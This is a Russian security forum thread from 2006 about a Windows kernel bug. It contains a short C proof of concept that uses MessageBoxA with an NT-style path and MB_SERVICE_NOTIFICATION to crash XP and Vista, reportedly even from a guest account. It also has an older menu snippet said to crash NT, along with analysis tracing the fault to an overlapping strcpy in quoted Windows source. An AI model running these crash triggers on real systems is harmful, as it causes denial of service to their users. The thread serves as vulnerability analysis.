информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Портрет посетителя
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Бэкдор в xz/liblzma, предназначенный... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / operating systems
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
[расковырял] надо будет поковырять будет под дебагом 19.12.06 21:45  Число просмотров: 23138
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 23:36  Количество правок: 5
<"чистая" ссылка>
Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :)

[РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
Функция GetHardErrorText
Первое что поразило - длина функции почти 700 строк Сшного кода :))
Коммент:
* This function figures out the message box title, text and flags.
* We want to do this up front so we can log this error when the hard error is
* raised. Previously we used to log it after the user had dismissed the message
* box -- but that was not when the error occurred (DCR Bug 107590)
Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)

} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
asLocal.Length -= 4;

А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))

Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
<operating systems>
Убиение винды :( 19.12.06 15:19  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 15:22  Количество правок: 1
<"чистая" ссылка>
#include <Windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
return 0;
}

(c) http://security.nnov.ru/Gnews944.html
XP, XPx64,, Vista - BSOD после N'ного мессагбокса или просто глюки. Работает хоть из под гостя. Иногда правда не с первого раз.
Самое забавное что мессагбокс показывает совершенно другой текст. Причем по китайски :)
во дают =))) 20.12.06 10:27  
Автор: noonv <Vladimir> Статус: Member
<"чистая" ссылка>
О, сколько нам открытий чудных, хранят в себе ещё исходники венды... -)) 20.12.06 05:52  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
Прикольно :) Мабуть китайские братья постарались. 19.12.06 20:25  
Автор: Fighter <Vladimir> Статус: Elderman
<"чистая" ссылка>
Работает :-) 19.12.06 19:37  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
[расковырял] надо будет поковырять будет под дебагом 19.12.06 21:45  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 23:36  Количество правок: 5
<"чистая" ссылка>
Но чтото мне подсказывает что это был какой то быстрокривохак для замены пути NT-style выводимого MessageBox'м каким то сервисом на win32, причем в коде win32k.sys, а сам сервис ковырять никто не хотел почемуто :)

[РАСКОВЫРЯЛ жуя апельсину] обошелся сырцами винды :)
Функция GetHardErrorText
Первое что поразило - длина функции почти 700 строк Сшного кода :))
Коммент:
* This function figures out the message box title, text and flags.
* We want to do this up front so we can log this error when the hard error is
* raised. Previously we used to log it after the user had dismissed the message
* box -- but that was not when the error occurred (DCR Bug 107590)
Функция занимается тем что находит в тексте месаг бокса строчки типа "{EXCEPTION}" и если таковые есть - чтото еще оттуда выдирает и пишет в системный лог. Прямо из MessageBox'а! Воистину мега-криво-хак :)

} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );// когда strcpy не было сильно заоптимизированным это наверно работало :))))
asLocal.Length -= 4;

А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через NtRaiseHardError :))

Помнится NT убивал нижеследующий код. Вот что называется перенесли кривоподелие user32 в ядро...
HMENU hMenu = CreatePopupMenu();
HMENU hMenu1 = CreatePopupMenu();
AppendMenu(hMenu1,MF_STRING, 1, "1");
AppendMenu(hMenu1,MF_STRING, 2, "2");
AppendMenu(hMenu1,MF_STRING, 3, "3");
InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
Самое интересное не рассказали! 19.12.06 22:56  
Автор: ыыы Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Вы же самое интересное не рассказали.


> } else if ((asLocal.Length > 4) &&
> !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
> strcpy( asLocal.Buffer, asLocal.Buffer+4);
> asLocal.Length -= 4;

Этот код после if выполняется, если вопросительных знаков нет, и длина больше четырех -- то есть в обычном случае. Значит, к выпадению он отношения не имеет. А что же там после else? Падать должно там.

>
> А у MB_SERVICE_NOTIFICATION ноги растут потому что дебрях
> винды MB_SERVICE_NOTIFICATION месагбокс с эмулируется через
> NtRaiseHardError :))
>
> Помнится NT убивал нижеследующий код. Вот что называется
> перенесли кривоподелие user32 в ядро...
> HMENU hMenu = CreatePopupMenu();
> HMENU hMenu1 = CreatePopupMenu();
> AppendMenu(hMenu1,MF_STRING, 1, "1");
> AppendMenu(hMenu1,MF_STRING, 2, "2");
> AppendMenu(hMenu1,MF_STRING, 3, "3");
> InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
> InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
> InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
> InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
> InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
> InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
[UPD] Все рассказали :) 19.12.06 23:06  
Автор: Killer{R} <Dmitry> Статус: Elderman
Отредактировано 19.12.06 23:20  Количество правок: 1
<"чистая" ссылка>
чисто ликбез: _strnicmp возвращает 0 при равенстве строк
Просто по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.
А, понял. 19.12.06 23:22  
Автор: ыыы Статус: Незарегистрированный пользователь
<"чистая" ссылка>
> чисто ликбез: _strnicmp возвращает 0 при равенстве строк

Действительно. Получается, что вылетает strcpy( asLocal.Buffer, asLocal.Buffer+4);

а исходного кода strcpy у вас случайно нет? :)

Интересно же, как ее надо было оптимизировать, чтобы она вылетела.
исходники strcpy можно посмотреть в вижаке. 20.12.06 14:08  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
весело ) 19.12.06 15:52  
Автор: !mm <Ivan Ch.> Статус: Elderman
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach